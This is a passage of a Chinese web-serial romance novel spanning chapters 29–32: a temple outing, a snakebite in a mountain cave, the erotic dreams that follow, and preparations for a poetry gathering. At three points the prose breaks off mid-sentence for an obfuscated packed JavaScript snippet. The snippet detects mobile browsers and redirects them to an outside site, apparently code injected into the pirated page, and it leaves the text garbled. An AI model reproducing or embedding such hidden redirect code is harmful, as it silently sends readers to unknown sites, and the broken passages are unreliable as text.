慧能气喘吁吁地跑向他,眼神飘忽:“公子,刚才同你们一道来的女施主方才坐我们寺里的马车,先一步回府了,她走得匆忙,让我代为转达,你们早些回府吧。” 慧能两只小手交叠于身后,左右互搏,心里默念:这不算诳语、不算诳语,出家人不打诳语。 女施主只是走得晚了几个时辰罢了,她确是坐我们寺里车马回城的。 休整时,谢珩曾在后院里见过灵山寺的马厩,马车确并不停靠在其中,但若是送香客,自他们来此并未见过其他人,若是送菜,斋堂前青石板上被雨洗得干净,莫说菜叶子,连搬运送菜的车辙印都未见。 他并不揭穿,转身上了车:“好,谢过小师傅了。” 慧能心虚地望着马车渐去的影子,口中不停地念道:“阿弥陀佛、阿弥陀佛。” 车内。 谢珩并未帮她扯谎,直言她还留在寺内。 李玥手中攥着锦帕:“瑾姐姐为何不同我们一道回去,她留在灵山寺可还有事?” 谢珩:“由长安至灵山寺的车马自酉初驶出城门,酉正到达,最末一班从灵山寺驶回长安的则是戌初,不会耽误回城。” 上车时,车檐落下的一滴雨正巧砸在他的薄唇上,清冷湿滑却被他的体温温热,瞬时将他拉回街巷那晚,凝在唇齿间的甜香久久不散,她却避了她三日,仅是感谢? 她在古槐树下难掩唇角的笑意既然不是高义信,又是为着谁。 是她在九州的旧识? 谢珩冷冷道:“她该还有要事,由她去吧。” 马车渐渐消失于视线中,慧能冲她招招手:“女施主,他们走了。” 沈昭探出脑袋,轻舒一口气。 慧能却弯腰,捂着肚子:“等等我,我去起止!” 他午时吃那酸果吃多了,腹中咕噜咕噜叫个不停。 “起止?你等等我,我不认路。”沈昭追在他身后,慧能直冲进去,她见这挂着[小净]匾额,闻到味道,大步迈开,才知他去了厕所,就站在连廊中等着。 不久,慧能理理僧袍,轻松地走出,不好意思说:“让女施主久等了。” “无事,”沈昭白日在这寺中见东西各有一排寮房,进出来往之人并非全是寺中的僧人,此处依山傍水,宁静安逸,每日又有专车来往于城郊,她打听道:“院中的寮房可是专供香客居住,可有人在此长居?” 慧能耐心解释道:“寮房确实为香客准备,有的香客常年居于寺里,有些香客只短居一日,若施主有意,可来灵山寺修行或者作为功德主,便可久居,若是暂借,师傅定然会行个方便。” 沈昭了然,待国公府的事了后,她的茶叶之道若得以经营,便向寺院供些香火,定期给严母送些银钱,准备久居于此,她可不想回去面对严父,逢年过节回去一家吃个团圆饭,让严母放心便是。 两人各背一只竹筐,你一言我一语地往山上走去。 因着雨后湿热,山林里,草木茂盛,有些甚至没过沈昭膝下,慧能锃光瓦亮的小脑袋在丛中很显眼。 蛇虫鼠蚁冒出头,幸亏得慧能带路,他身子歪歪扭扭,一手扯着树枝向上攀,还不忘回头看着沈昭:“施主,这条路虽然难走,但都是师兄们清理出来的,每日会撒药粉,驱虫避害,你大可放心。” 沈昭拖着他的腿往上一举,自己的脚扎在泥地里,白色的绣鞋沾满了泥:“小师傅,你们寺庙里平时除了爬山,可还有其他活动?” 这小师傅人不大一点,整日吃素,怎的白净圆润得堪比年画娃娃,比路边的大石头还重。 慧能的腿像从地里拔出的小萝卜一样,在空中扑腾着:“女施主,并非慧能贪吃,实在是膳厅的王师兄做的饭菜太香了,有些香客就因着他的菜而专门入寺呢。” 他说着说着口水都要流出。 两人终于爬上最后一个坡,他抬手指向远处:“你瞧,就是那种果子。” 几颗野果树植于山坡上,红彤彤的果子经雨水冲洗透着晶莹的亮,叶子耷拉着,叶片上的水珠顺着叶脉而下。 两人寻了一个平滑的大石头将竹筐放下,两人一上一下,沈昭采高,慧能抓低,四手开动摘果。 摘秃两棵树后,沈昭拉住他白胖的小手:“等等,这山上还有其他果树么,现在天气热了,我们若都摘光了,吃不完岂不是浪费了。” 慧能抽出小手,并未停下:“嘻嘻,这漫山遍野的果树多了去了,这果子极易成活,今日我带你寻得算是最远的一片了。” ? 沈昭不敢置信:“你不是同我说会寻个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662300|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近处。” 慧能用力拽下一只野果:“师兄弟们都不愿陪我来,好不容易有人作伴,我不得寻个最远的么,施主放心,不会耽误你回长安城的,阿弥陀佛。” 这小沙弥,沈昭让他帮忙给谢珩递话时本还心有一丝愧疚,岂料他还是个惯犯。 “咕噜噜-”慧能两条粗眉一皱,“我...我要起止。”话音还未落人捂着肚子跑远了。 阴云之下,惊雷乍现,风呼啸,云迁徙,大雨将至。 “下雨了,”李玥撩起车帷,风卷起雨滴将她的手打湿,她又缓缓放下手,“瑾姐姐她,自己留在寺中,真的没事?灵山寺回城的车马还需过几个时辰,届时路更不好走,我们回去接她吧。” 她定睛看着谢珩,似在征询他的想法。 沉闷的雷声在耳畔低吟,谢珩只道:“先送公主回宫为要事。” —— “要下雨了,小师傅你快些。”沈昭遥望来时路,不由得加快手中动作。 半晌,仍未闻他的答话,她起身去寻,漫山青翠却不见那油亮的脑袋和僧袍。 “小师傅,慧能!”她对着空气大喊,四野空旷,只余她的声音在其中回荡。 一道惊雷在她头顶炸开,豆大的雨点噼里啪啦从天而落,风卷起一旁慧能的小竹筐,红果洒了遍野,青红相映。 “慧能。”沈昭边喊边背起身上的竹筐,一手抄起小竹筐,顾不得捡拾,转身寻躲雨的地方。 来时路上经过一个山洞,慧能曾向她指明若是路遇大雨可以到此歇脚。 雨势汹汹,她的呼喊声淹没在旷野,想抬头再去寻他,眼前却被雨幕模糊了视线。 她奔着山洞方向跑去,被水打湿的泥土里深一脚浅一脚全是她的足迹。 用手扶着身侧的一根粗树枝借力,树枝上的一道碧影身形一扭,吐着信子攀咬上她的手腕,迅速缠上她的手臂。 沈昭用力甩了甩手腕,蛇却借势覆上她细嫩的脖颈,毒牙深深没入其中,留下两个乌紫的印记,脱口隐于山野中。 她踉跄着身子,顾不得细看身上的咬痕,兜兜转转,终是寻到了山洞的入口。 初极狭,渐开阔。洞壁渗着湿气,青苔在石隙间蜿蜒,山洞中还余着几堆烧尽的灰,周围放着大大小小几块石头,应是他们常在此休整。 她无力地放下背上的竹筐,身上愈发酸软,站在洞口向外张望,呼喊慧能的声音减弱,只有倾泻的大雨于她回应。 雨倾盆而下,湿风卷着腐叶腥气涌入鼻腔,山中很难视物。 沈昭扯下身上的披帛,在洞口寻了一只粗壮的枝干,费了半晌的功夫,将披帛绑于其上,寄希望慧能若寻路过来,能引他顺利找到洞口。 她全身湿透,本就软纱锦缎的衣料紧贴于身,却浑身却燥热难耐,只觉身上又重又沉,扯都扯不散。 火石和堆砌如山的干柴,整整齐齐摆放在洞内,驱蛇的药粉四撒于墙角,旁边还有几套干索的蓑衣,应是常上山的寺中人备下。 火,若是洞内有光亮,肯定能吸引来往人的注意。 她轻甩手上的水渍,堆好干柴,用打火石试着打火,在第五次刮擦火石时,她的指节已蹭出淡痕,额上沁了一层薄汗和雨水融在一起。 细小的火星溅落在干柴之上,转瞬即灭。 沈昭卸力地跪在一旁,果然荒野求生不是易事,她起身摸向洞口,却还未见慧能的身影,他在山中迷路了? 她堪堪挺直身子,准备去寻慧能时,眼前的草丛猛地抖动,一个黑影被大雨冲洗,看不真切。 慧能穿着僧袍,肯定不会是他。 沈昭踉跄着退后几步,抓起一旁的木棍,举在身前,警戒防备,眼眸一眨不眨的盯着前方。 心在胸腔内有力地跳动,雨幕隔绝喧闹,她清晰听到自己慌乱又沉重的呼吸声。 黑影渐进,她用力握着木棍,手却轻轻颤动,骨节因用力而泛白。 一人从雨幕中向她走来,来得匆忙,他手里的伞被乱枝划破,幞头的两脚被雨打垂,浑身湿得透彻。 然眉骨下一双漆眸却极亮,像宝剑新淬的锋。 他站在洞口逆着光,一手执剑,淅沥沥的血水顺着剑锋而落,衣摆下的水痕蜿蜒如蛇,一路迤逦,融进沈昭身下的水洼中。 是谢珩。 30. 第 30 章 谢珩将伞扔在地上,视线扫过洞内,未见有蛇,而后缓步走入山洞。 他生的白净,被雨洗后脸上没了一丝血色,瞥见靠墙堆放的两筐野果,语气中带了一丝温软:“你专门留下就是为这,为了祖母?” 沈昭认清是他,松了口气,将手里的木棍放下,手腕和颈间的两点乌紫蛇痕隐隐作痛,乌血贴着皮肉流下,她强抿着泛白的嘴唇,唯有鞋底粘着泥土的脚印,每后撤一步,便在地上烙下淡红色的足迹。 她维持气力问道:“你来的路上有没有见到慧能?我和他在山中走散了。” 谢珩凝眸打量着她,剑上的血腥气盖住了她身上气味,但她脸庞却泛着不同寻常的红:“我上山遇到他,他去寺里寻人来找你了。” 沈昭心虚地将手背于身后,侧过身子:“洞内有火石,我们全身都湿透了,最好先晾干衣服。” 谢珩大步向内,与她错身而过的瞬间,一把抓起她的手腕,她身上的炽热烫得他眼神轻晃,手却并未松开:“你受了风寒?我去生火。” 话音刚落,沈昭膝盖酸软,谢珩一把扶住她失坠的身子,她软软地倒于他怀中。 松开手时,才见她腕间的两点乌紫。 “别动。”他上山途中,遇到过几条毒蛇,幸得及时斩杀才未中招,但沈昭并无防备。 他出手封住她几处大穴,但已有毒血渗入血液中,游走于身。 他将她扶至墙边,她无力垂首,滚烫如火的额头抵在他颈窝,凌乱的呼吸灼烧着他裸露的肌肤。 她脸色惨白如纸,唇色转青,眼眸半阖。 “沈昭...得罪了。”他未迟疑半分,抬起她的手腕,俯身去吸毒血。 她却用尽最后一丝力气,扭转手腕躲开,用气音说道:“有毒...” 他宽大的手紧紧固住她的手腕:“别动,”毫不犹豫地低头含住伤口,将毒血一口口吸出再吐掉。 她的喉间干热更甚,手腕间那万蚁噬咬的痛麻,却转瞬化作他唇舌用力触碰的酥痒,比毒血更甚的灼热顺着血脉直窜心门。 她浑身发颤,恍惚间,却贪恋覆在腕间的那丝冰冷,她无力地扯着他的衣襟,指尖忽冷忽热。 “沈昭。”谢珩用手轻拍她的脸颊,素日漆深的眸子此刻蒙了一层水雾,一向冷静持重的他霎时慌了。 直到她抬眸,唇角轻轻翘起,他紧绷的那根线才稍有松动,沈昭恢复些气力,将手抽走,故意说:“我好了,多谢。”她染血的唇瓣在昏暗的山洞红得诱人,他低垂着眼眸,不敢再看。 “好了?” 见她说话不似那般微弱,可脸上仍毫无血色,他疑惑道:“你好了?” “嗯。” “好了便站起来走两步。” ..... 她一向张口就来,口中虚虚实实,让人分不清明,毒血岂是说散便散,说好就好的,怕她欺瞒,他故意激她,想看看她身上是否还藏着伤,但她全身被雨淋湿,他又不敢细看。 沈昭手腕间的毒被他吮去一部分,虽知谢珩是为了确保她无事,但怕他担心,她手掌抵着阴湿的墙,指节半蜷,提着一口气,直起身子。 她眼睫颤动,双腮因用力而鼓起,额间冷汗涔涔。 指尖因着用力摩挲而泛起斑斑血渍。 谢珩抬手虚扶着她,他不过怕她硬忍着伤不说,岂料他她竟真挺着身子站起来了:“好了,你体内没准还有余毒,别乱动了,我不该激你。” 他的话音未落,沈昭整个人猝然向前栽去,盈盈跌落到他怀中,她灼热的身子紧贴着他。 他却心跳如擂鼓响彻,清晰可闻,她小巧挺立的鼻梁抵在他锁骨处,炽热的吐息喷在他湿哒哒衣襟上,每一次紊乱的吐纳都激起他肌肤一阵战栗。 鬓边的珠钗晃得叮当作响,几缕乌发散落,扫过他颈间如羽毛轻挠。 谢珩臂弯一沉,稳稳扶住他:“沈昭。”视线垂落于她颈侧,才见那被蛇咬过的两点乌紫已转成暗黑。 “沈昭,醒醒。”谢珩轻拍她的面颊,触手滚烫胜火,他当即将她的背倚靠在墙上,面对她跪坐着,一手扶着她的左肩,一手轻托着她发热的脸颊,脖颈自然弯着,露出被蛇咬过的伤口。 他的视线悬在她颈间半寸,竟生平第一次怨恨那些无畏“礼数”,雪肤上两点刺目的黑色,再继续耽搁只怕神仙难救。 “抱歉。”他将怀中的帕子搭在她颈间,继而闭目沉息,俯身时,刻意避开半寸,克制着唇不染她,再睁开眼,强压其中暗涌的波澜,扶住她肩头的手不自觉蜷紧,仿佛将她揉入怀中。 冰凉的唇落在她的颈间,沈昭在混沌中沉浮,她甚至贪恋这抹清凉,驱散她四肢百骸的燥热,但转瞬间这丝丝缕缕的微凉触感,化作灼人的热,烫得她微微惊颤。 他每吮一口,一股热意自颈侧窜向她周身,素帕渐渐被血洇透,终是阻不住那抹唇间的温软。 他的手死死扣住她的肩头,力道大得她愈发清醒,可唇舌的动作极轻,像对待易碎的琉璃瓶般珍重。 待他轻轻移开唇瓣,眼眸中像灼着火,明明中毒的是她,可那毒却好似侵蚀了他的神志。 未久,洞壁上交错的人影难舍地分开。 沈昭眼中的混沌渐渐变得清明,她低头扯扯仍贴于身的衣裙,淡淡道:“多谢你了。” “无妨。”他却逃也似的转身向洞中走去,捡了一旁的火石,不出片刻,燃起地上的干柴。 他又利落地用粗些的木棍搭了个架子,背身过去:“你若是想晾干衣服,就自便吧。” 念着万事不便,且寺中的人不久会寻来,她靠近柴火,手臂抱膝而坐,随手拿起一支木柴扔进火堆:“算了。” 为防不测,谢珩坐在她身侧,隔开半臂距离。 洞外雨幕垂垂,洞内火光摇曳,两人的身影在石壁上随风轻晃,似在依偎。 火星噼啪溅起,映得他眉目深邃,山风卷着湿气卷入洞中,他的周身却被火烤的更热。 谢珩挪着身子离火堆远了些:“若你以后不做我妹妹,你会作何?” 谢珩的疑问倒正是她近日所想,告诉他亦无妨:“也许我会择一荒野山林,种种地养养花,自给自足,时常去看看严母,快活潇洒一世吧。” 她悄悄抬眸,撞见他侧颜被火镀上一层金色,喉结上的水珠随吞咽缓缓滑落,落入衣领。 想问出口的“你呢”被她酸涩咽下,若她不是谢怀瑾了,他的生活应该会一如既往。 只是与她无关。 良久,他嗓音低哑,突然开口,却目光虚置着眼前的光亮:“我有一事想向你请教,但还请你先指天为誓,不能有任何欺瞒。” 沈昭一头雾水,何事如此重要? 今日多亏有他解毒,她亦不多问,依着他并拢三指指天:“你问吧,我保证这次不骗你。” 他清咳一声:“在九州,若是男子爱慕女子,该如何表示?” 这等小事,何须起誓,她垂下手,却被他认真的神色盯得又慢慢举起:“好说,在九州,男女双方可先慢慢相处了解,若是彼此有意,那么一方就可以表白,另一方若答应了,就成为男女朋友, 若是两人情投意合,想结为夫妇,那就要见过双方的家长,此后便牵扯到两个家庭,接下来订婚,领证,结婚,就同你们的下聘迎亲相似,可能礼数没有你们这边周全罢了。” 当然,其中有些步骤可以省略,先结婚再领证者亦大有人在,但她不想解释太多,容易越说越乱。 “表白是?” 沈昭嘴上功夫厉害,毕竟她也没谈过,就按着她心中想象描绘:“表白呢,就是一方向另一方倾诉心意,另一方答应后,两人就从普通朋友,成为比普通朋友更进一步的关系,你们也可有些更亲密的接触,比如亲...她话锋一转,”想到那夜醉酒,“但是呢,你也得尊重女方的意愿,她如果不愿意不能勉强,哪怕是男女朋友也不行。” 谢珩继续追问:“那表白只需告诉她么,还有何要求,是否要告知家中亲眷,时辰场景这些细节呢?” 这学霸果然不同,连这等细枝末节都感兴趣,再问只怕问到她的盲区了:“这个根据个人品性吧,有人喜欢热闹和排场,有人喜欢独占和安静,我倒是觉得这是只属于两人的时刻,场景自便,有个氛围就好,你们既然在一起了,身边亲近的朋友家人自然会知道了。” “你问这个作何?”沈昭怕他一问再问,主动结束这个话题。 “只是了解一下不同地区的民俗,增加见闻罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675855|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”谢珩口不择言道。 洞外雷声隆隆,雨势不减更甚,谢珩抱起墙角一捆干柴,一支支将其扔进火堆中,火舌迅速舔舐,火苗直窜上天,暖意融融,看得人熏熏然。 洞内骤然亮如白日,又渐渐暗淡昏沉。 墙壁上,两个人影相互依偎,沈昭抬眸觑了眼,又挪着小步,将身子悄然往外靠靠。 “热么?”谢珩的声音响起,因着洞里幽深更蕴低沉。 她刚才蛇毒毒发时,一下像置若冰窟,一下又如坠落火海,她微微抿唇,只觉喉咙干渴燥热,但如此境遇哪还还能寻一口水喝。 衣裙黏在身上,外干内湿,身上黏腻腻的,火光映得她脸颊红扑扑:“热点好,热点不易感冒。” 听闻男子本不耐热,他的衣袍又不似她一般轻软,沈昭手作蒲扇状借故扇扇:“你若是热了,自行方便,我不看。”说着背转身去,用手指虚捂着眼。 半晌未听他开口,她从指缝中眨眨眼,墙上的身影竟真大大方方地解开蹀躞带,长臂外展将衣袍脱了。 沈昭将头埋低,墙上她的身影变成圆圆一团,比一旁的石头大不了几寸。 “你不是说不会偷看?” 低哑的声音自耳畔响起,呼吸间的灼热徐徐烧至耳中,又麻又痒。 她扭头,不经意间身下一轻,而后稳稳被他的臂弯捞住。 谢珩眼中映着如火的光热,硬挺的鼻尖沁着一层薄汗,衣襟半敞,透过湿透的里衣,能看清他胸腔有力地上下起伏。 沈昭呼吸一时滞涩,用手将他推开,却误触他硬挺的胸膛,她瞬时收回手,将头侧垂不看,咚咚地心跳仿佛要跃至喉间。 一股不容抗拒的力道挑起她的下巴,迫使她抬头。 火光中,他的脸近在咫尺,丰神俊逸,深邃如墨的眼瞳里只有她和烧不尽的欲|火。 “谢珩,你中毒了?”她艰难地维持头脑清醒,憋出几个字。 他却低头勾起唇角。 她很少见他笑过,若论女子笑颜盛过百花绽放,他的笑便如破冰的春水,初看清冷戚戚,却带着席卷苍茫的放肆和张扬。 “我当然知道自己在做什么。” 他眼中那团火燎至唇畔,抚在她腰间的手骤然收紧,她下意识后仰,后脑却被他紧紧扣住,霸道又不容拒绝地吻了下来。 饶是再知书达理的气度,但武将的遒劲霸道的力气和魁梧挺壮的身姿,如山般将她牢牢困住。 她竟一时连低头也无法做到。 他宽大有力的手自她的后脑轻抚至颈后,一寸寸蚕食她的雪肤,虎口处那道浅疤带着入骨深髓的电流,激起一阵战栗。 他的吻渐渐下移,下巴、颈间、在锁骨处留恋。 沈昭软的像被火融化的雪水,淌在他坚实的怀抱中。 他的手如一根纠缠不休的藤蔓,自腰后一路侵袭,攀至她的胸前的扣带,指节微微用力。 沈昭握住他的手:“别,谢珩。” “小姐,小姐。”春宁摇着纸扇,见睡梦中的小姐脸色愈发红了,忧心不已。 夏安将所有窗户、大门敞开,急得跺脚:“怎么办,要不要叫大夫。” 她们的声音将她从梦中叫醒,沈昭支起身子,擦了擦头上的薄汗,悠悠转醒:“我没事,回来吧。” 距离灵山寺一行已过了三日。 那日同谢珩说了几句九州与长安风俗不同后。 慧能便带着师兄弟寻到山洞中,她中毒不深又服下清毒的草药,体内该不会有余毒了。 可她这几日总会梦回山洞。 可梦里的人不是谢珩,他为她吸出毒血只是情形所迫罢。 她摇摇头将脑中杂念清除,又不是没有亲过,做个梦又何妨。 “将军。”杨方忧心地在外敲敲门,谢珩往日从未睡过懒觉,可自灵山寺一行,却晚起两日了,今晨上朝,他不得不提前催促。 锦衾之下,谢珩的中衣尽湿,腿间一片黏腻凉意。 他闭目凝神,可梦中的旖旎却挥之不去——沈昭发间的馨香仍扑在他鼻腔中,眼眸含水地望着他,像一方甘醇甜酒,诱人沉沦。 月白绸裤上瘢痕赫赫,他将起叠起,又寻了一块绸布裹起,扔给杨方:“拿去烧了。” 31. 第 31 章 谢珩下朝后直奔左衙,到了之后猛猛喝了几大海碗虎杖冷饮子,均不解渴,他轻舔舌尖,竟因着上火,生了一圈细碎粟疮。 金吾卫一众见他脸色红润,本以为大将军心情甚好,但这拒人千里的凌然,又让人不敢靠近。 交代完衙里的事,他抽空去了趟医馆,大夫搭上他的脉:“公子,你这是心火亢盛,肾气过足。可成家了?” 谢珩身上燥热更甚,耳尖红得几欲滴血:“暂未。” 大夫眼中闪过一丝了然:“我先为公子施针泻火,再开几副方子,一日三剂,”他顿了顿,心里暗道这少年俊朗倒也不该尚未娶妻,但观其脉络又不是隐疾。 “医术讲求顺应天时自然,时值夏日,倒并不是大碍,但仍需从本源解决,方得根治。”他不便明说,只点到此。 晚上上值前,谢珩回了趟国公府,正巧厨房端上晚膳。 沈昭从灵山寺带回的野果被摆放于桌上,老夫人喜欢得紧,又舍不得多吃,每每用完饭后吃两个消消食。 她如今已不用服药,晚上常常同李立雯和沈昭少吃些,李立雯唤他一同入座:“珩儿,既回来了,便一起吃吧,你祖母今日心情好,喝了两碗鱼脍粥呢,你也来尝尝。” 这是自那日后,谢珩和沈昭第一次同桌用膳,在府里匆匆见过几次,两人只点头应和。 明明只是吸出毒血,可那梦中的旖旎又偏偏在脑中挥散不去。 谢珩撩袍坐在沈昭一旁,见她只低头盯着桌上的饭菜,嘴里嚼不停,腮鼓得圆圆的,让人忍不住想捏。 谢珩被这一闪而过的念头惊愣,又匆匆收了视线,端起碗。 “珩儿是不是最近太累了,莫是天太热,着了暑气。”老夫人看他颈间泛着红,神色并不自然,霎时忧心起来。 李立雯吩咐厨房再做些清凉饮:“别整日忙着公务,身子才是第一位的,若是不舒服,叫大夫入府替你看看。” 因着老夫人身子弱,她对府中每人都颇为留意,尤其是近身侍奉的,生怕谁染了病气,渡给老夫人。 谢珩只咽了几口,放下碗筷:“劳祖母和母亲挂怀,我没事,先回衙里了。” 沈昭念着有事问他,可他一直不得闲,在他离席后,她也匆匆放下碗筷:“祖母,母亲,我有事同兄长商议,等会我便回来,不用担心。” “谢珩。”沈昭脚下生风,追着他的背影跑。 府外。 谢珩驻足,沉息几口气,背转过身,却并未抬眸直视她:“何事?” “过几日诗会你去不去,母亲让我也去,兄长文武双全,写几篇给我呗,或者你拒了此事,她肯定不会让我独去。”李立雯提议让她参加诗会,多结交些好友,可她哪有那些心思,若结交得多了,之后身份败露更难圆回来,何况她又有何才学能同这些自小饱读诗书的人相比。 去探查谢珩妹妹行踪的人,线索断断续续,至今还未找到她。 她入国公府已过月余,虽整日吃喝,过得舒心,但总归不是长久之计,且呆的愈久,心中渐渐不安。 上次去灵山寺时,她求了一签【是非寥落终成空,镜花水月一场梦】,这是她念着何时能寻回谢怀瑾时,掷出的这一签。 真正的谢怀瑾如今在何处? 谢珩在牛家村寻的姑娘会是她吗? 她没将心底的疑问告诉旁人,一是因着求签问卦,信者信之,不信者无用,这等虚无的事恐影响他们探查,二是她既然收了钱财,总不能催着老板结了这差事。 “改日再议吧,我未必得闲去诗会。”谢珩的答案模棱两可,他虽爱看书,但这种凑热闹的事,他很少会去。 两人并肩立于国公府门前,一如他带沈昭回国公府那天,门前的石狮子仍昂首屹立,甚至连看守仍是同样的人。 可雁过留痕,人一旦在心上驻足过,就很难消弭她的痕迹了。 相顾无言,谢珩虽心中有话想说,可只得暂时咽下,转身消失于街巷;“我上值去了。” 他刚离去不久,熟悉的车驾停于国公府前,圆溜溜的小脑袋从车中探出,奶声奶气道:“女施主!” 慧能正挥着小拳头,笑得像个带褶的小包子。 沈昭三步并作两步,跃至马车旁:“小师傅又来逛长安城了,这次采买了什么好东西?” 慧能神神秘秘道:“这次我可带了个好东西,”他转身从马车里扯出一个叠得齐整的小布袋,“你看,这是上次你提过的茶树。” 上次因着他带路,误使谢家兄妹在山里走失,住持将他好一顿责罚,连着多日清扫寺院内外,累得他都瘦了! 为弥补他所犯下的过错,住持特让师弟给南方那个香客送信,请他务必帮忙寻到。 那香客昨日来灵山寺便带了这些枝条,慧能妥善地将其交到她手中:“那香客说,若用此物,也能种出茶树,但他说的方法,慧能听不懂。” 沈昭接下,又让春宁从府里带了些素食和点心:“上次是我不对,缠着你去寻野果,”架车的车夫恹恹咳嗽几声,沈昭退后半步,“小师傅,改日我再去灵山寺找你玩,替我谢谢主持师傅。” “那施主可一定要来,我再带你去山中摘其他野果吃。”慧能目含期待地眨巴眼。 话音刚落,马鞭“啪”地一声炸在马背之上,卷起漫天尘土飞扬。 沈昭小心捧着这些枝条,保不齐这也许是她日后飞黄腾达的根脉,她所接触的人中,只听闻高义信对此有研究。 不急于一时,她回府先寻了几本关于花卉树木繁殖的书,虽未确切记载茶树的移植方法,但扦插这种方式并不少见,她依书中所记,先将枝条妥善保存。 总归过几日诗会,这等热闹,高峻从不缺席,他弟弟应该也会同去,待见到他们时,再向他请教一二。 谢珩下值后,已过三更,长安城家家户户落了灯。 只有深宅大院门前灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696845|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼烛火依旧。 他径自去了书房,书案上摆着他常看的几本书,他抽出夹在其中一本。 两指取出夹在其中的一页纸,纸上一首短诗呈在眼前,是他近几日所作。 笔走龙蛇,幼时在学堂时,他的字曾被夫子当做临帖,供同堂的学子临摹学习,高峻便是在那时主动同他结交。 树影婆娑,沙沙作响。 听到一阵细微的异响,他先将手中的纸藏于怀中,才抚上剑,眼神向窗外眄去,直到一只家雀儿压着树枝腾空,扑扇翅膀飞远,静听无人后,他才放下戒备,将怀中的纸郑重叠好,夹于书本中。 沈昭白日歇晌后,向春宁问过这长安城的诗会。 长安城诗会本分三种:宫廷诗会、方外闲趣和节令竞诗。宫廷宴会多由朝廷中的人举办,皇帝和朝中文官皆会出席,优者由圣上钦赐锦袍、银钱不等,谢珩诗赋出名便是在一次宫廷诗会中,力压当年的新科状元,获得头彩。 方外闲趣则更自在些,多由僧人和志趣相投的文人小聚,规模可大可小,且不论参与之人身份家世如何,选的地点自是极美极讲究,参与者多参禅悟道,讲求个修身养性。 更随意,但听起来便容易犯困。 节令竞诗每朝每代都有,由民间自发,无彩头但趣味足,大伙儿畅所欲言,甚至不讲究音律格调,图个消遣,雅俗共赏。 然这次诗会与以上均不同,以高峻等一众士族子弟带头而办,既不想拘泥于宫中的规矩束缚,又私下结交志趣相同之人。 起初高峻他们的设想只是以诗会交友为由头,寻个正当机会,从他爹那儿名正言顺捞点钱,找乐子罢了。 但后来参与者之众,其中不乏朝中权贵以诗会友而来,高峻又不能不在乎高家颜面,只得误打误撞,将错就错。 随着更多文人墨客加入,其规则环节也更正式,开场礼、创作、吟诵、雅趣助兴...其礼节制式不比宫中简单,还会邀请弘文馆学士点评。 仅创作一项,便含命题作诗、即兴联句、分韵赋诗等等... “停,”沈昭捂着自己的耳朵,莫说让她去作诗,便是听听这些规则都头昏脑涨。 不去,打死不去。 她下定决心,从明日起就装病卧床,能拖一日是一日。 翌日,比诗会更早唤她起身的,是谢珩。 春宁和夏安抬着她的臂弯,将她从床上扶起,天还未明,她闭着眼,生无可恋:“他一大早找我作甚,我再睡会。” “奴婢不知,但据杨方说,好像是为了诗会。”春宁应道。 沈昭脚尖向床,作势要睡:“那更不去了。”她都自己想好对策了,不需要他的诗了。 春宁和夏安一左一右将她按下:“听闻是经过夫人允准了,由少爷这几日教小姐,临阵磨枪,学点总比不学好。” 沈昭垂下头,学也可以,但用不着闻鸡起舞这么拼吧,打鸣的鸡还没起呢! 32. 第 32 章 沈昭梳洗换衣后,因着李立雯和老夫人未起,她独自磨磨蹭蹭吃了一个时辰的早膳。 云天羃羃,气清天明,谢珩的催促还音犹在耳,她亦彻底清醒了。 她暗吁一口气,由他们去吧,总归她已下定决心诗会当天不去,在府里做做样子罢,总归不能太过懒散了。 估计一会谢珩讲学时,只怕她不想睡觉都难。 其实她有过取巧的想法,书中那些穿越者到古代,斗诗于他们而言手拿把掐。 唐诗三百首、宋词元曲,哪个不是凝结中华上下千年的智慧和精华,她虽不能熟读,但那些名家经典之作,总会背得滚瓜烂熟,这些命题作诗、即兴赋诗,不都是变相考验背课文么。 但她很快就绝了这个念头。 她虽然骗人骗惯了,但到底只为了自保罢了。 况且她对历史只知皮毛,她现在所处的时代是否在历史上真实存在尚未可知,她不了解不代表它不存在,若她真脱口背出李杜的传世名作,这不就是赤裸裸窃取他人成果。 不可。 适时,王管家特意从书房备齐了崭新的笔墨、砚台、镇纸等用具,派人送到沈昭后院。 春宁欣喜地双手接过,她知少爷才学出众,但谢珩为人低调只参加过几次宫廷诗会,从不在府中显露,众人都想一睹其风采,她今儿可沾了小姐的光了! 夏安自给小姐梳完发髻后,一直低垂着头,眼神闪躲。 沈昭与她惺惺相惜,这不正是怕老师上课提问喊她时,她的模样么。 她认命地领着春宁去了“秉正堂”:“夏安,你在院里自己玩吧。” “谢谢小姐!”夏安憋不住笑,眼睛都霎时亮如晨星。 谢珩晨练后,就在书房中一直等她。 书房内,他练的字已在桌上摆不下,铺散在地上。 